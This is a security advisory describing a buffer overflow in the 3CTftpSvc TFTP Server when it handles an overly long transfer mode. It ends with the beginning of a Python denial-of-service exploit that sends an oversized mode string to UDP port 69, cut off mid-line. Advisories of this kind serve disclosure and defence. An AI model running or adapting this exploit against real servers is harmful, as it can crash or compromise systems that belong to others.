TFTP Server 3CTftpSvc Buffer Overflow Vulnerability (Long transporting mode) ------------------------------------------------------------------ SUMMARY: 3CTftpSvc TFTP Server is a Freeware TFTP server for Windows 9x/NT/XP. (http://support.3com.com/software/utilities_for_windows_32_bit.htm or ftp://ftp.3com.com/pub/utilbin/win32/3CTftpSvc.zip) It provides an implementation of the TFTPv2 protocol. A vulnerability has been identified in 3CTftpSvc TFTP Server, which could be exploited by attackers to execute arbitrary commands or cause a denial of service. This flaw is due to a buffer overflow error when handling an overly long transporting mode (more than 470 bytes) passed to a "GET" or "PUT" command, which could be exploited by malicious users to compromise a vulnerable system or crash an affected application. ---------- DETAILS: Vulnerable systems: 3CTftpSvc TFTP Server 2.0.1 and probable prior Exploit: #!/usr/bin/python # Buffer Overflow (Long transporting mode) Vulnerability Exploit # This is just a DoS exploiting code # Tested on Windows xp SP2 # # Requires python and impacket # # Coded by Liu Qixu Of NCNIPC import socket import sys host = '192.168.1.11' port = 69 try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) except: print "socket() failed" sys.exit(1) filename = "A" mode = "netascii" + "A" * 469 da = "x00x02" + filename + "